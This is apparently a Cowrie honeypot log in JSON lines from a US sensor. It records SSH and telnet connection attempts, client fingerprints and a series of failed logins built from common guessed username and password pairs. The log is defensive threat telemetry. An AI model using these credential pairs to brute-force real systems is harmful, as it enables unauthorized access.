{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:50.737338Z","src_ip":"80.94.92.186","session":"95ff2511aed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.87.155.69","src_port":36036,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e5fcfad4f50","protocol":"telnet","message":"New connection: 112.87.155.69:36036 (10.17.0.5:23) [session: 6e5fcfad4f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:14:26.659192Z"}
{"eventid":"cowrie.session.closed","duration":31.2724928855896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:14:57.931568Z","src_ip":"112.87.155.69","session":"6e5fcfad4f50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":54280,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e6e6130f1a","protocol":"ssh","message":"New connection: 58.186.20.143:54280 (10.17.0.5:22) [session: 73e6e6130f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:15:47.230678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:15:47.234742Z","src_ip":"58.186.20.143","session":"73e6e6130f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:15:47.487847Z","src_ip":"58.186.20.143","session":"73e6e6130f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7777777","message":"login attempt [admin/7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:15:48.523284Z","src_ip":"58.186.20.143","session":"73e6e6130f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:15:49.778195Z","src_ip":"58.186.20.143","session":"73e6e6130f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":48476,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a1c0670cbf4","protocol":"ssh","message":"New connection: 160.251.185.39:48476 (10.17.0.5:22) [session: 6a1c0670cbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:16:37.253829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:16:37.258447Z","src_ip":"160.251.185.39","session":"6a1c0670cbf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:16:37.430743Z","src_ip":"160.251.185.39","session":"6a1c0670cbf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webadmin","message":"login attempt [root/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:16:38.152822Z","src_ip":"160.251.185.39","session":"6a1c0670cbf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:16:39.328705Z","src_ip":"160.251.185.39","session":"6a1c0670cbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60714,"dst_ip":"10.17.0.5","dst_port":22,"session":"850d7165cb98","protocol":"ssh","message":"New connection: 80.94.92.186:60714 (10.17.0.5:22) [session: 850d7165cb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:01.532893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:01.586800Z","src_ip":"80.94.92.186","session":"850d7165cb98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:01.829311Z","src_ip":"80.94.92.186","session":"850d7165cb98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:03.374045Z","src_ip":"80.94.92.186","session":"850d7165cb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:04.567844Z","src_ip":"80.94.92.186","session":"850d7165cb98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":60214,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c509a810c94","protocol":"ssh","message":"New connection: 58.186.20.143:60214 (10.17.0.5:22) [session: 5c509a810c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:52.770257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:52.774470Z","src_ip":"58.186.20.143","session":"5c509a810c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:53.015321Z","src_ip":"58.186.20.143","session":"5c509a810c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam1","password":"steam1","message":"login attempt [steam1/steam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:54.014981Z","src_ip":"58.186.20.143","session":"5c509a810c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:17:55.262197Z","src_ip":"58.186.20.143","session":"5c509a810c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":55040,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9fcb34d74b","protocol":"ssh","message":"New connection: 160.251.185.39:55040 (10.17.0.5:22) [session: eb9fcb34d74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:18:39.862388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:18:39.867080Z","src_ip":"160.251.185.39","session":"eb9fcb34d74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:18:40.035505Z","src_ip":"160.251.185.39","session":"eb9fcb34d74b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz2wsx","message":"login attempt [user1/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:18:40.738051Z","src_ip":"160.251.185.39","session":"eb9fcb34d74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:18:41.910494Z","src_ip":"160.251.185.39","session":"eb9fcb34d74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.241.176.240","src_port":13534,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c98958c7ee4","protocol":"telnet","message":"New connection: 177.241.176.240:13534 (159.203.135.109:23) [session: 3c98958c7ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:19:11.815244Z"}
{"eventid":"cowrie.session.closed","duration":13.217293500900269,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:19:25.032421Z","src_ip":"177.241.176.240","session":"3c98958c7ee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":37906,"dst_ip":"10.17.0.5","dst_port":22,"session":"900389900d3f","protocol":"ssh","message":"New connection: 58.186.20.143:37906 (10.17.0.5:22) [session: 900389900d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:19:46.171865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:19:46.176996Z","src_ip":"58.186.20.143","session":"900389900d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:19:46.425243Z","src_ip":"58.186.20.143","session":"900389900d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:19:47.453267Z","src_ip":"58.186.20.143","session":"900389900d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:19:48.707017Z","src_ip":"58.186.20.143","session":"900389900d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":49120,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dbc9803ba2e","protocol":"ssh","message":"New connection: 2.57.121.112:49120 (159.203.135.109:22) [session: 9dbc9803ba2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:16.107582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:16.113389Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:16.214916Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saba","message":"login attempt [admin/saba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:16.699607Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ryan1","message":"login attempt [admin/ryan1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:17.807409Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rutland","message":"login attempt [admin/rutland] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:18.911925Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rulesyou","message":"login attempt [admin/rulesyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:20.019385Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35148,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df5ba41c20b","protocol":"ssh","message":"New connection: 80.94.92.186:35148 (10.17.0.5:22) [session: 9df5ba41c20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:20.498582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:20.702165Z","src_ip":"80.94.92.186","session":"9df5ba41c20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:20.712035Z","src_ip":"80.94.92.186","session":"9df5ba41c20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rtynfdh","message":"login attempt [admin/rtynfdh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:21.123543Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:21.468558Z","src_ip":"80.94.92.186","session":"9df5ba41c20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:22.229623Z","src_ip":"2.57.121.112","session":"9dbc9803ba2e","protocol":"ssh"}
